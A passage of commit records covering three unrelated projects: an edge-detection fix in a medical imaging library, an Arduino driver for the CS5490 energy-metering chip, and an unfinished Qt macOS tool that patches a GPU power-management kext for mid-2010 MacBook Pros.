+= mLineSampleSpacing) { Vector2f position = points[i].getPosition() + points[i].getNormal()*d; const Vector2i pixelPosition(round(position.x() / spacing.x()), round(position.y()) / spacing.y()); try { const float value = access->getScalar(pixelPosition); if(value > 0) { intensityProfile.push_back(value); startFound = true; } else if(!startFound) { startPos++; } } catch(Exception &e) { if(!startFound) { startPos++; } } } Measurement m; m.uncertainty = 1; m.displacement = 0; if(startFound){ DetectedEdge edge = findEdge(intensityProfile); if(edge.edgeIndex != -1) { float d = -mLineLength/2.0f + (startPos + edge.edgeIndex)*mLineSampleSpacing; const Vector2f position = points[i].getPosition() + points[i].getNormal()*d; m.uncertainty = edge.uncertainty; const Vector2f normal = points[i].getNormal(); m.displacement = normal.dot(position-points[i].getPosition()); counter++; } } measurements.push_back(m); } } return measurements; } void StepEdgeModel::setLineLength(float length) { if(length <= 0) throw Exception("Length must be > 0"); mLineLength = length; } void StepEdgeModel::setLineSampleSpacing(float spacing) { if(spacing <= 0) throw Exception("Sample spacing must be > 0"); mLineSampleSpacing = spacing; } } <commit_msg>fixed a bug in 2D step edge model<commit_after>#include "StepEdgeModel.hpp" #include "FAST/Data/Image.hpp" #include "FAST/Algorithms/ModelBasedSegmentation/Shape.hpp" namespace fast { StepEdgeModel::StepEdgeModel() { mLineLength = 0; mLineSampleSpacing = 0; } typedef struct DetectedEdge { int edgeIndex; float uncertainty; } DetectedEdge; inline DetectedEdge findEdge( std::vector<float> intensityProfile) { // Pre calculate partial sum float * sum_k = new float[intensityProfile.size()](); float totalSum = 0.0f; for(int k = 0; k < intensityProfile.size(); ++k) { if(k == 0) { sum_k[k] = intensityProfile[0]; }else{ sum_k[k] = sum_k[k-1] + intensityProfile[k]; } totalSum += intensityProfile[k]; } float bestScore = std::numeric_limits<float>::max(); int bestK = -1; float bestHeightDifference = 0; for(int k = 0; k < intensityProfile.size()-1; ++k) { float score = 0.0f; if(intensityProfile[k] < 20) continue; for(int t = 0; t <= k; ++t) { score += fabs((1.0f/(k+1))*sum_k[k] - intensityProfile[t]); } for(int t = k+1; t < intensityProfile.size(); ++t) { score += fabs((1.0f/(intensityProfile.size()-k))*(totalSum-sum_k[k]) - intensityProfile[t]); } if(score < bestScore) { bestScore = score; bestK = k; bestHeightDifference = (((1.0/(k+1))*sum_k[bestK] - (1.0f/(intensityProfile.size()-k))*(totalSum-sum_k[bestK]))); } } delete[] sum_k; DetectedEdge edge; // Should be dark inside and bright outside if(bestHeightDifference > 0) { bestK = -1; } edge.edgeIndex = bestK; edge.uncertainty = 1.0f / fabs(bestHeightDifference); return edge; } inline bool isInBounds(Image::pointer image, const Vector4f& position) { return position(0) >= 0 && position(1) >= 0 && position(2) >= 0 && position(0) < image->getWidth() && position(1) < image->getHeight() && position(2) < image->getDepth(); } inline float getValue(void* pixelPointer, Image::pointer image, const Vector4f& position) { uint index = (int)position(0)+(int)position(1)*image->getWidth()+(int)position(2)*image->getWidth()*image->getHeight(); float value; switch(image->getDataType()) { // This macro creates a case statement for each data type and sets FAST_TYPE to the correct C++ data type fastSwitchTypeMacro(value = ((FAST_TYPE*)pixelPointer)[index]); } return value; } std::vector<Measurement> StepEdgeModel::getMeasurements(SharedPointer<Image> image, SharedPointer<Shape> shape) { if(mLineLength == 0 || mLineSampleSpacing == 0) throw Exception("Line length and sample spacing must be given to the StepEdgeModel"); std::vector<Measurement> measurements; Mesh::pointer predictedMesh = shape->getMesh(); MeshAccess::pointer predictedMeshAccess = predictedMesh->getMeshAccess(ACCESS_READ); std::vector<MeshVertex> points = predictedMeshAccess->getVertices(); ImageAccess::pointer access = image->getImageAccess(ACCESS_READ); // For each point on the shape do a line search in the direction of the normal // Return set of displacements and uncertainties if(image->getDimensions() == 3) { AffineTransformation::pointer transformMatrix = SceneGraph::getAffineTransformationFromData(image); transformMatrix->scale(image->getSpacing()); Matrix4f inverseTransformMatrix = transformMatrix->matrix().inverse(); // Get model scene graph transform AffineTransformation::pointer modelTransformation = SceneGraph::getAffineTransformationFromData(shape->getMesh()); MatrixXf modelTransformMatrix = modelTransformation->affine(); // Do edge detection for each vertex int counter = 0; for(int i = 0; i < points.size(); ++i) { std::vector<float> intensityProfile; unsigned int startPos = 0; bool startFound = false; for(float d = -mLineLength/2; d < mLineLength/2; d += mLineSampleSpacing) { Vector3f position = points[i].getPosition() + points[i].getNormal()*d; // Apply model transform // TODO the line search normal*d should propably be applied after this transform, so that we know that is correct units? position = modelTransformMatrix*position.homogeneous(); const Vector4f longPosition(position(0), position(1), position(2), 1); // Apply image inverse transform to get image voxel position const Vector4f positionInt = inverseTransformMatrix*longPosition; try { const float value = access->getScalar(positionInt.cast<int>()); if(value > 0) { intensityProfile.push_back(value); startFound = true; } else if(!startFound) { startPos++; } } catch(Exception &e) { if(!startFound) { startPos++; } } } Measurement m; m.uncertainty = 1; m.displacement = 0; if(startFound){ DetectedEdge edge = findEdge(intensityProfile); if(edge.edgeIndex != -1) { float d = -mLineLength/2.0f + (startPos + edge.edgeIndex)*mLineSampleSpacing; const Vector3f position = points[i].getPosition() + points[i].getNormal()*d; m.uncertainty = edge.uncertainty; const Vector3f normal = points[i].getNormal(); m.displacement = normal.dot(position-points[i].getPosition()); counter++; } } measurements.push_back(m); } } else { Vector3f spacing = image->getSpacing(); // For 2D images // For 2D, we probably want to ignore scene graph, and only use spacing. // Do edge detection for each vertex int counter = 0; for(int i = 0; i < points.size(); ++i) { std::vector<float> intensityProfile; unsigned int startPos = 0; bool startFound = false; for(float d = -mLineLength/2; d < mLineLength/2; d += mLineSampleSpacing) { Vector2f position = points[i].getPosition() + points[i].getNormal()*d; const Vector2i pixelPosition(round(position.x() / spacing.x()), round(position.y() / spacing.y())); try { const float value = access->getScalar(pixelPosition); if(value > 0) { intensityProfile.push_back(value); startFound = true; } else if(!startFound) { startPos++; } } catch(Exception &e) { if(!startFound) { startPos++; } } } Measurement m; m.uncertainty = 1; m.displacement = 0; if(startFound){ DetectedEdge edge = findEdge(intensityProfile); if(edge.edgeIndex != -1) { float d = -mLineLength/2.0f + (startPos + edge.edgeIndex)*mLineSampleSpacing; const Vector2f position = points[i].getPosition() + points[i].getNormal()*d; m.uncertainty = edge.uncertainty; const Vector2f normal = points[i].getNormal(); m.displacement = normal.dot(position-points[i].getPosition()); counter++; } } measurements.push_back(m); } } return measurements; } void StepEdgeModel::setLineLength(float length) { if(length <= 0) throw Exception("Length must be > 0"); mLineLength = length; } void StepEdgeModel::setLineSampleSpacing(float spacing) { if(spacing <= 0) throw Exception("Sample spacing must be > 0"); mLineSampleSpacing = spacing; } } <|endoftext|>
<commit_before>/****************************************** Author: Tiago Britto Lobão [email protected] */ /* Purpose: Control an integrated circuit Cirrus Logic - CS5490 Used to measure electrical quantities MIT License ******************************************/ #include "CS5490.h" /******* Init CS5490 *******/ //For Arduino & ESP8622 #if !(defined ARDUINO_NodeMCU_32S ) && !defined(__AVR_ATmega1280__) && !defined(__AVR_ATmega2560__) && !defined(ARDUINO_Node32s) CS5490::CS5490(float mclk, int rx, int tx){ this->MCLK = mclk; this->cSerial = new SoftwareSerial(rx,tx); } //For ESP32 AND MEGA #else CS5490::CS5490(float mclk){ this->MCLK = mclk; this->cSerial = &Serial2; } #endif void CS5490::begin(int baudRate){ cSerial->begin(baudRate); } /**************************************************************/ /* PRIVATE METHODS */ /**************************************************************/ /******* Write a register by the serial communication *******/ /* data bytes pass by data variable from this class */ void CS5490::write(int page, int address, long value){ uint8_t checksum = 0; for(int i=0; i<3; i++) checksum += 0xFF - checksum; //Select page and address uint8_t buffer = (pageByte | (uint8_t)page); cSerial->write(buffer); buffer = (writeByte | (uint8_t)address); cSerial->write(buffer); //Send information for(int i=0; i<3 ; i++){ data[i] = value & 0x000000FF; cSerial->write(this->data[i]); value >>= 8; } //Calculate and send checksum buffer = 0xFF - data[0] - data[1] - data[2]; cSerial->write(buffer); } /******* Read a register by the serial communication *******/ /* data bytes pass by data variable from this class */ void CS5490::read(int page, int address){ cSerial->flush(); uint8_t buffer = (pageByte | (uint8_t)page); cSerial->write(buffer); buffer = (readByte | (uint8_t)address); cSerial->write(buffer); //Wait for 3 bytes to arrive while(cSerial->available() < 3); for(int i=0; i<3; i++){ data[i] = cSerial->read(); } } /******* Give an instruction by the serial communication *******/ void CS5490::instruct(int value){ cSerial->flush(); uint8_t buffer = (instructionByte | (uint8_t)value); cSerial->write(buffer); } /* Function: toDouble Transforms a 24 bit number to a double number for easy processing data Param: data[] => Array with size 3. Each uint8_t is an 8 byte number received from CS5490 LSBpow => Expoent specified from datasheet of the less significant bit MSBoption => Information of most significant bit case. It can be only three values: MSBnull (1) The MSB is a Don't Care bit MSBsigned (2) the MSB is a negative value, requiring a 2 complement conversion MSBunsigned (3) The MSB is a positive value, the default case. */ double CS5490::toDouble(int LSBpow, int MSBoption){ uint32_t buffer = 0; double output = 0.0; bool MSB; //Concat bytes in a 32 bit word buffer += this->data[0]; buffer += this->data[1] << 8; buffer += this->data[2] << 16; switch(MSBoption){ case MSBnull: this->data[2] &= ~(1 << 7); //Clear MSB buffer += this->data[2] << 16; output = (double)buffer; output /= pow(2,LSBpow); break; case MSBsigned: MSB = data[2] & 0x80; if(MSB){ //- (2 complement conversion) buffer = ~buffer; //Clearing the first 8 bits for(int i=24; i<32; i++) buffer &= ~(1 << i); output = (double)buffer + 1.0; output /= -pow(2,LSBpow); } else{ //+ output = (double)buffer; output /= (pow(2,LSBpow)-1.0); } break; default: case MSBunsigned: output = (double)buffer; output /= pow(2,LSBpow); break; } return output; } /**************************************************************/ /* PUBLIC METHODS - Instructions */ /**************************************************************/ void CS5490::reset(){ this->instruct(1); } void CS5490::standby(){ this->instruct(2); } void CS5490::wakeUp(){ this->instruct(3); } void CS5490::singConv(){ this->instruct(20); } void CS5490::contConv(){ this->instruct(21); } void CS5490::haltConv(){ this->instruct(24); } /**************************************************************/ /* PUBLIC METHODS - Calibration and Configuration */ /**************************************************************/ /* SET */ void CS5490::setBaudRate(long value){ //Calculate the correct binary value uint32_t hexBR = ceil(value*0.5242880/MCLK); if (hexBR > 65535) hexBR = 65535; hexBR += 0x020000; this->write(0x80,0x07,hexBR); delay(100); //To avoid bugs from ESP32 //Reset Serial communication from controller cSerial->end(); cSerial->begin(value); return; } /* GET */ int CS5490::getGainI(){ //Page 16, Address 33 this->read(16,33); return this->toDouble(22,MSBunsigned); } long CS5490::getBaudRate(){ this->read(0,7); uint32_t buffer = this->data[0]; buffer += this->data[1] << 8; buffer += this->data[2] << 16; buffer -= 0x020000; return ( (buffer/0.5242880)*MCLK ); } /**************************************************************/ /* PUBLIC METHODS - Measurements */ /**************************************************************/ double CS5490::getPeakV(){ //Page 0, Address 36 this->read(0,36); return this->toDouble(23, MSBsigned); } double CS5490::getPeakI(){ //Page 0, Address 37 this->read(0,37); return this->toDouble(23, MSBsigned); } double CS5490::getInstI(){ //Page 16, Address 2 this->read(16,2); return this->toDouble(23, MSBsigned); } double CS5490::getInstV(){ //Page 16, Address 3 this->read(16,3); return this->toDouble(23, MSBsigned); } double CS5490::getInstP(){ //Page 16, Address 4 this->read(16,4); return this->toDouble(23, MSBsigned); } double CS5490::getRmsI(){ //Page 16, Address 6 this->read(16,6); return this->toDouble(23, MSBunsigned); } double CS5490::getRmsV(){ //Page 16, Address 7 this->read(16,7); return this->toDouble(23, MSBunsigned); } double CS5490::getAvgP(){ //Page 16, Address 5 this->read(16,5); return this->toDouble(23, MSBsigned); } double CS5490::getAvgQ(){ //Page 16, Address 14 this->read(16,14); return this->toDouble(23, MSBsigned); } double CS5490::getAvgS(){ //Page 16, Address 20 this->read(16,20); return this->toDouble(23, MSBsigned); } double CS5490::getInstQ(){ //Page 16, Address 15 this->read(16,15); return this->toDouble(23, MSBsigned); } double CS5490::getPF(){ //Page 16, Address 21 this->read(16,21); return this->toDouble(23, MSBsigned); } double CS5490::getTotalP(){ //Page 16, Address 29 this->read(16,29); return this->toDouble(23, MSBsigned); } double CS5490::getTotalS(){ //Page 16, Address 30 this->read(16,30); return this->toDouble(23, MSBsigned); } double CS5490::getTotalQ(){ //Page 16, Address 31 this->read(16,31); return this->toDouble(23, MSBsigned); } double CS5490::getFreq(){ //Page 16, Address 49 this->read(16,49); return this->toDouble(23, MSBsigned); } double CS5490::getTime(){ //Page 16, Address 49 this->read(16,61); return this->toDouble(0, MSBunsigned); } /**************************************************************/ /* PUBLIC METHODS - Read Register */ /**************************************************************/ long CS5490::readReg(int page, int address){ long value = 0; this->read(page, address); for(int i=0; i<3; i++){ value += data[2-i]; value <<= 8; } return value; } <commit_msg>Fix Arduino UNO bug<commit_after>/****************************************** Author: Tiago Britto Lobão [email protected] */ /* Purpose: Control an integrated circuit Cirrus Logic - CS5490 Used to measure electrical quantities MIT License ******************************************/ #include "CS5490.h" /******* Init CS5490 *******/ //For Arduino & ESP8622 #if !(defined ARDUINO_NodeMCU_32S ) && !defined(__AVR_ATmega1280__) && !defined(__AVR_ATmega2560__) && !defined(ARDUINO_Node32s) CS5490::CS5490(float mclk, int rx, int tx){ this->MCLK = mclk; this->cSerial = new SoftwareSerial(rx,tx); } //For ESP32 AND MEGA #else CS5490::CS5490(float mclk){ this->MCLK = mclk; this->cSerial = &Serial2; } #endif void CS5490::begin(int baudRate){ cSerial->begin(baudRate); delay(10); //Avoid Bugs on Arduino UNO } /**************************************************************/ /* PRIVATE METHODS */ /**************************************************************/ /******* Write a register by the serial communication *******/ /* data bytes pass by data variable from this class */ void CS5490::write(int page, int address, long value){ uint8_t checksum = 0; for(int i=0; i<3; i++) checksum += 0xFF - checksum; //Select page and address uint8_t buffer = (pageByte | (uint8_t)page); cSerial->write(buffer); buffer = (writeByte | (uint8_t)address); cSerial->write(buffer); //Send information for(int i=0; i<3 ; i++){ data[i] = value & 0x000000FF; cSerial->write(this->data[i]); value >>= 8; } //Calculate and send checksum buffer = 0xFF - data[0] - data[1] - data[2]; cSerial->write(buffer); } /******* Read a register by the serial communication *******/ /* data bytes pass by data variable from this class */ void CS5490::read(int page, int address){ cSerial->flush(); uint8_t buffer = (pageByte | (uint8_t)page); cSerial->write(buffer); buffer = (readByte | (uint8_t)address); cSerial->write(buffer); //Wait for 3 bytes to arrive while(cSerial->available() < 3); for(int i=0; i<3; i++){ data[i] = cSerial->read(); } } /******* Give an instruction by the serial communication *******/ void CS5490::instruct(int value){ cSerial->flush(); uint8_t buffer = (instructionByte | (uint8_t)value); cSerial->write(buffer); } /* Function: toDouble Transforms a 24 bit number to a double number for easy processing data Param: data[] => Array with size 3. Each uint8_t is an 8 byte number received from CS5490 LSBpow => Expoent specified from datasheet of the less significant bit MSBoption => Information of most significant bit case. It can be only three values: MSBnull (1) The MSB is a Don't Care bit MSBsigned (2) the MSB is a negative value, requiring a 2 complement conversion MSBunsigned (3) The MSB is a positive value, the default case. */ double CS5490::toDouble(int LSBpow, int MSBoption){ uint32_t buffer = 0; double output = 0.0; bool MSB; //Concat bytes in a 32 bit word buffer += this->data[0]; buffer += this->data[1] << 8; buffer += this->data[2] << 16; switch(MSBoption){ case MSBnull: this->data[2] &= ~(1 << 7); //Clear MSB buffer += this->data[2] << 16; output = (double)buffer; output /= pow(2,LSBpow); break; case MSBsigned: MSB = data[2] & 0x80; if(MSB){ //- (2 complement conversion) buffer = ~buffer; //Clearing the first 8 bits for(int i=24; i<32; i++) buffer &= ~(1 << i); output = (double)buffer + 1.0; output /= -pow(2,LSBpow); } else{ //+ output = (double)buffer; output /= (pow(2,LSBpow)-1.0); } break; default: case MSBunsigned: output = (double)buffer; output /= pow(2,LSBpow); break; } return output; } /**************************************************************/ /* PUBLIC METHODS - Instructions */ /**************************************************************/ void CS5490::reset(){ this->instruct(1); } void CS5490::standby(){ this->instruct(2); } void CS5490::wakeUp(){ this->instruct(3); } void CS5490::singConv(){ this->instruct(20); } void CS5490::contConv(){ this->instruct(21); } void CS5490::haltConv(){ this->instruct(24); } /**************************************************************/ /* PUBLIC METHODS - Calibration and Configuration */ /**************************************************************/ /* SET */ void CS5490::setBaudRate(long value){ //Calculate the correct binary value uint32_t hexBR = ceil(value*0.5242880/MCLK); if (hexBR > 65535) hexBR = 65535; hexBR += 0x020000; this->write(0x80,0x07,hexBR); delay(100); //To avoid bugs from ESP32 //Reset Serial communication from controller cSerial->end(); cSerial->begin(value); return; } /* GET */ int CS5490::getGainI(){ //Page 16, Address 33 this->read(16,33); return this->toDouble(22,MSBunsigned); } long CS5490::getBaudRate(){ this->read(0,7); uint32_t buffer = this->data[0]; buffer += this->data[1] << 8; buffer += this->data[2] << 16; buffer -= 0x020000; return ( (buffer/0.5242880)*MCLK ); } /**************************************************************/ /* PUBLIC METHODS - Measurements */ /**************************************************************/ double CS5490::getPeakV(){ //Page 0, Address 36 this->read(0,36); return this->toDouble(23, MSBsigned); } double CS5490::getPeakI(){ //Page 0, Address 37 this->read(0,37); return this->toDouble(23, MSBsigned); } double CS5490::getInstI(){ //Page 16, Address 2 this->read(16,2); return this->toDouble(23, MSBsigned); } double CS5490::getInstV(){ //Page 16, Address 3 this->read(16,3); return this->toDouble(23, MSBsigned); } double CS5490::getInstP(){ //Page 16, Address 4 this->read(16,4); return this->toDouble(23, MSBsigned); } double CS5490::getRmsI(){ //Page 16, Address 6 this->read(16,6); return this->toDouble(23, MSBunsigned); } double CS5490::getRmsV(){ //Page 16, Address 7 this->read(16,7); return this->toDouble(23, MSBunsigned); } double CS5490::getAvgP(){ //Page 16, Address 5 this->read(16,5); return this->toDouble(23, MSBsigned); } double CS5490::getAvgQ(){ //Page 16, Address 14 this->read(16,14); return this->toDouble(23, MSBsigned); } double CS5490::getAvgS(){ //Page 16, Address 20 this->read(16,20); return this->toDouble(23, MSBsigned); } double CS5490::getInstQ(){ //Page 16, Address 15 this->read(16,15); return this->toDouble(23, MSBsigned); } double CS5490::getPF(){ //Page 16, Address 21 this->read(16,21); return this->toDouble(23, MSBsigned); } double CS5490::getTotalP(){ //Page 16, Address 29 this->read(16,29); return this->toDouble(23, MSBsigned); } double CS5490::getTotalS(){ //Page 16, Address 30 this->read(16,30); return this->toDouble(23, MSBsigned); } double CS5490::getTotalQ(){ //Page 16, Address 31 this->read(16,31); return this->toDouble(23, MSBsigned); } double CS5490::getFreq(){ //Page 16, Address 49 this->read(16,49); return this->toDouble(23, MSBsigned); } double CS5490::getTime(){ //Page 16, Address 49 this->read(16,61); return this->toDouble(0, MSBunsigned); } /**************************************************************/ /* PUBLIC METHODS - Read Register */ /**************************************************************/ long CS5490::readReg(int page, int address){ long value = 0; this->read(page, address); for(int i=0; i<3; i++){ value += data[2-i]; value <<= 8; } return value; } <|endoftext|>
<commit_before>#include "mainwindow.h" #include "ui_mainwindow.h" #define TEST //#define REAL //#define WINDOWS #define MAC MainWindow::MainWindow(QWidget *parent) : QMainWindow(parent), ui(new Ui::MainWindow) { ui->setupUi(this); } MainWindow::~MainWindow() { delete ui; } void MainWindow::exit() { close(); qApp->quit(); } void MainWindow::on_patchButton_clicked() { //Search kext file if(searchKernelExtensionFile(&kernelFile)) { //Display Warning Message //TODO : Uncomment //int answer = QMessageBox::question(this, "Warning", "This will patch the kernel configuration file.\nAre you sure you want to procede ?", QMessageBox::Yes | QMessageBox::No); //if (answer == QMessageBox::Yes) if(1) { patchKernelExtensionFile(&kernelFile); } else { return; } } else { return; } } void MainWindow::on_restoreButton_clicked() { //Display Warning Message int answer = QMessageBox::question(this, "Warning", "This will restore the old configuration.\nAre you sure you want to procede ?", QMessageBox::Yes | QMessageBox::No); if (answer == QMessageBox::Yes) { } else { return; } } bool MainWindow::init() { bool isInitOk = true; MainWindow::setWindowTitle (APP_NAME); //Search for compatibility if(isCompatibleVersion(getMBPModelVersion())) { isInitOk = true; } else { QMessageBox::information(this,"Mac not compatible","Sorry, your Mac is not compatible.\nThe application will close"); isInitOk = false; } //Search for SIP Status if(isSIPEnabled()) { ui->patchButton->setEnabled(false); ui->restoreButton->setEnabled(false); QMessageBox msgBox; msgBox.setInformativeText("The System Integrity Protection is enabled\nPlease follow the instructions to disable it"); msgBox.setWindowTitle("SIP Enabled"); QAbstractButton* pButtonYes = msgBox.addButton(tr("Take me to tutorial"), QMessageBox::YesRole); msgBox.addButton(tr("Nope"), QMessageBox::NoRole); msgBox.setIcon(QMessageBox::Information); msgBox.exec(); if (msgBox.clickedButton()== pButtonYes) { QString link = "https://www.youtube.com/watch?v=Wmhal4shmVo"; QDesktopServices::openUrl(QUrl(link)); } } return isInitOk; } QString MainWindow::getMBPModelVersion() { QString MBPModelVersion; QProcess process; //Execute commande line process.start("sysctl -n hw.model"); //Wait forever until finished process.waitForFinished(-1); //Get command line output MBPModelVersion = process.readAllStandardOutput(); //Remove carriage return ("\n") from string MBPModelVersion = MBPModelVersion.simplified(); return MBPModelVersion; } bool MainWindow::isSIPEnabled(void) { QString SIPStatus; QProcess process; //Execute commande line process.start("csrutil status"); //Wait forever until finished process.waitForFinished(-1); //Get command line output SIPStatus = process.readAllStandardOutput(); #ifndef WINDOWS if(SIPStatus.contains("disable")) { return false; } else { return true; } #else return false; #endif } //Parse system directory searching for AppleGraphicsPowerManagement.kext file bool MainWindow::searchKernelExtensionFile(QFile* kernelExtensionFile) { bool isFileFound; #ifdef TEST #ifdef MAC QDir kextPath("/Users/Julian/Documents/Dev/Projects/MBPMid2010_GPUFix/"); #endif #ifdef WINDOWS QDir kextPath("C:/Users/jpoidevin/Desktop/Documents Pro/03 - Dev Temp/MBPMid2010_GPUFix/MBPMid2010_GPUFix/"); #endif #endif #ifdef REAL QDir kextPath("/System/Library/Extensions/AppleGraphicsPowerManagement.kext/"); #endif QStringList listOfFiles; //Print Current app directory qDebug() << "Current Dir :" <<kextPath.absolutePath(); //Recursively search for "Info.plist" file in appPath QDirIterator it(kextPath.absolutePath(), QStringList() << "Info.plist", QDir::NoSymLinks | QDir::Files, QDirIterator::Subdirectories); //Check if the file was found if(it.hasNext()) { while(it.hasNext()) { it.next(); if (it.filePath().contains("AppleGraphicsPowerManagement")) { listOfFiles.push_back(it.filePath()); } } } //Print files found qDebug() << "Files found :"<< listOfFiles; if(listOfFiles.length() <= 1 && listOfFiles.length() > 0) { //qDebug() << "Moins de 1"; kernelExtensionFile->setFileName(listOfFiles.at(0)); isFileFound = true; } else { //qDebug () << "No file was found..."; isFileFound = false; } //Start search manually and only allow loading of the perfect named file (or kext) if(!isFileFound) { QMessageBox::information(this,"File not found","Any corresponding file was found, please search for the file"); //TODO : FileDialog won't let user browse into .kext files Contents QString dir = QFileDialog::getOpenFileName(this, tr("Open Info.plist file"), "/System/Library/Extensions/AppleGraphicsPowerManagement.kext/", "Property List Files (Info.plist)"); if(!(dir.isNull())) { //kernelExtensionFile->setFileName(dir); isFileFound = true; } else { isFileFound = false; } } return isFileFound; } bool MainWindow::isCompatibleVersion(QString modelVersion) { //Compare version with compatible versions of MBPs bool isCompatibleVersion; #ifdef MAC //TODO : Search in a list if several models compatible if(modelVersion == "MacBookPro6,2") { isCompatibleVersion = true; } else { isCompatibleVersion = false; } #endif #ifdef WINDOWS isCompatibleVersion = true; #endif return isCompatibleVersion; } void MainWindow::backupOldKernelExtension() { //Save File to current location adding .bak extension //qDebug() << "File Name" << kernelFile.fileName(); //Save original file in kernelExtension file folder QFile::copy(kernelFile.fileName(), kernelFile.fileName() + ".bak"); } void MainWindow::patchKernelExtensionFile(QFile *kernelFile) { //Modify Kernel Extension File to add fix explained here : //https://forums.macrumors.com/threads/gpu-kernel-panic-in-mid-2010-whats-the-best-fix.1890097/ //Use QSettings ? : http://doc.qt.io/qt-5/qsettings.html //https://openclassrooms.com/courses/enregistrer-vos-options-avec-qsettings //http://stackoverflow.com/questions/20240511/qsettings-mac-and-plist-files //https://forum.qt.io/topic/37247/qsettings-with-systemscope-not-saving-plist-file-in-os-x-mavericks/6 //TODO //backupOldKernelExtension(); #ifdef MAC #define PATCHED_FILE_PATH "/tmp/PatchedInfo.plist" #endif #ifdef WINDOWS #define PATCHED_FILE_PATH "C:/temp/PatchedInfo.plist" #endif //Remove file if already exists if (QFile::exists(PATCHED_FILE_PATH)) { QFile::remove(PATCHED_FILE_PATH); } //Copy file in tmp dir for patch QFile::copy(kernelFile->fileName(), PATCHED_FILE_PATH); QFile tmpFile(PATCHED_FILE_PATH); if(!tmpFile.open(QIODevice::ReadWrite | QIODevice::Text)) { qDebug() << "Could not open tmp File"; return; } //The QDomDocument class represents an XML document. QDomDocument xmlBOM; // Set data into the QDomDocument before processing xmlBOM.setContent(&tmpFile); /* Definition of struct and enum to automaticaly parse file*/ typedef enum { FindChild, FindSibling, NextSibling, FirstChild, FillArray }EActions; typedef struct{ QString nodeName; QVector<int> ArrayValues; EActions ActionToPerform; }nodeTree; QVector<nodeTree> confTree={ {"MacBookPro6,2" , {} , FindChild }, {"dict" , {} , NextSibling }, {"Vendor10deDevice0a29" , {} , FindChild }, {"BoostPState" , {} , FindSibling }, {"" , {2,2,2,2} , FillArray }, {"BoostTime" , {} , FindSibling }, {"" , {2,2,2,2} , FillArray }, {"Heuristic" , {} , FindSibling }, {"Threshold_High" , {} , FindSibling }, {"" , {0,0,100,200} , FillArray }, {"Threshold_High_v" , {} , FindSibling }, {"" , {0,0,98,100} , FillArray }, {"Threshold_Low" , {} , FindSibling }, {"" , {0,0,0,200} , FillArray }, {"Threshold_Low_v" , {} , FindSibling }, {"" , {0,0,4,200} , FillArray } }; QDomElement currentNode = xmlBOM.firstChildElement("plist"); QDomElement nextNode; for (int i = 0; i < confTree.size(); ++i) { //qDebug() << confTree.at(i).nodeName << confTree.at(i).ActionToPerform; switch (confTree.at(i).ActionToPerform){ case FindChild: nextNode = findElementChild(currentNode,confTree.at(i).nodeName); qDebug() << "FindChild - " << nextNode.tagName() << "|" << nextNode.text(); break; case FindSibling: nextNode = findElementSibling(currentNode,confTree.at(i).nodeName); qDebug() << "FindSibling - " << nextNode.tagName() << "|" << nextNode.text(); break; case NextSibling: nextNode = currentNode.nextSiblingElement(confTree.at(i).nodeName); qDebug() << "NextSibling - " << nextNode.tagName(); break; case FirstChild: nextNode = currentNode.firstChildElement(confTree.at(i).nodeName); qDebug() << "FirstChild - " << nextNode.tagName(); break; case FillArray: currentNode = currentNode.nextSiblingElement("array").firstChildElement("integer"); currentNode.firstChild().setNodeValue(QString::number(confTree.at(i).ArrayValues[0])); currentNode.nextSibling().firstChild().setNodeValue(QString::number(confTree.at(i).ArrayValues[1])); currentNode.nextSibling().nextSibling().firstChild().setNodeValue(QString::number(confTree.at(i).ArrayValues[2])); currentNode.nextSibling().nextSibling().nextSibling().firstChild().setNodeValue(QString::number(confTree.at(i).ArrayValues[3])); nextNode = currentNode.parentNode().toElement(); break; default: break; } currentNode = nextNode; } // Write changes to same file tmpFile.resize(0); QTextStream stream; stream.setDevice(&tmpFile); xmlBOM.save(stream, 4); tmpFile.close(); } int MainWindow::loadKernelExtension(QFile *kernelFile) { //Use Kext Utility or command lines utils to load the file in Kernel //kextload //Disable srcutils: https://derflounder.wordpress.com/2015/10/05/configuring-system-integrity-protection-without-booting-to-recovery-hd/ //See here : http://osxdaily.com/2015/06/24/load-unload-kernel-extensions-mac-os-x/ int Status = 0; return Status; } int MainWindow::restoreOldKernelExtension(QFile *kernelFile) { //Restore.bak extension int Status = 0; //QFile::copy(kernelFile->fileName() + ".bak", kernelFile->fileName()); return Status; } QDomElement MainWindow::findElementChild(QDomElement parent, const QString &textToFind) { for(QDomElement elem = parent.firstChildElement(); !elem.isNull(); elem = elem.nextSiblingElement()) { if(elem.text()==textToFind) return elem; QDomElement e = findElementChild(elem, textToFind); if(!e.isNull()) return e; } return QDomElement(); } QDomElement MainWindow::findElementSibling(QDomElement parent, const QString &textToFind) { for(QDomElement elem = parent.nextSiblingElement(); !elem.isNull(); elem = elem.nextSiblingElement()) { if(elem.text()==textToFind) return elem; QDomElement e = findElementChild(elem, textToFind); if(!e.isNull()) return e; } return QDomElement(); } <commit_msg>Started working on kernel extension loading<commit_after>#include "mainwindow.h" #include "ui_mainwindow.h" //#define TEST #define REAL //#define WINDOWS #define MAC MainWindow::MainWindow(QWidget *parent) : QMainWindow(parent), ui(new Ui::MainWindow) { ui->setupUi(this); } MainWindow::~MainWindow() { delete ui; } void MainWindow::exit() { close(); qApp->quit(); } void MainWindow::on_patchButton_clicked() { //Search kext file if(searchKernelExtensionFile(&kernelFile)) { //Display Warning Message //TODO : Uncomment //int answer = QMessageBox::question(this, "Warning", "This will patch the kernel configuration file.\nAre you sure you want to procede ?", QMessageBox::Yes | QMessageBox::No); //if (answer == QMessageBox::Yes) if(1) { patchKernelExtensionFile(&kernelFile); loadKernelExtension(&kernelFile); } else { return; } } else { return; } } void MainWindow::on_restoreButton_clicked() { //Display Warning Message int answer = QMessageBox::question(this, "Warning", "This will restore the old configuration.\nAre you sure you want to procede ?", QMessageBox::Yes | QMessageBox::No); if (answer == QMessageBox::Yes) { } else { return; } } bool MainWindow::init() { bool isInitOk = true; MainWindow::setWindowTitle (APP_NAME); //Search for compatibility if(isCompatibleVersion(getMBPModelVersion())) { isInitOk = true; } else { QMessageBox::information(this,"Mac not compatible","Sorry, your Mac is not compatible.\nThe application will close"); isInitOk = false; } //Search for SIP Status if(isSIPEnabled()) { ui->patchButton->setEnabled(false); ui->restoreButton->setEnabled(false); QMessageBox msgBox; msgBox.setInformativeText("The System Integrity Protection is enabled\nPlease follow the instructions to disable it"); msgBox.setWindowTitle("SIP Enabled"); QAbstractButton* pButtonYes = msgBox.addButton(tr("Take me to tutorial"), QMessageBox::YesRole); msgBox.addButton(tr("Nope"), QMessageBox::NoRole); msgBox.setIcon(QMessageBox::Information); msgBox.exec(); if (msgBox.clickedButton()== pButtonYes) { QString link = 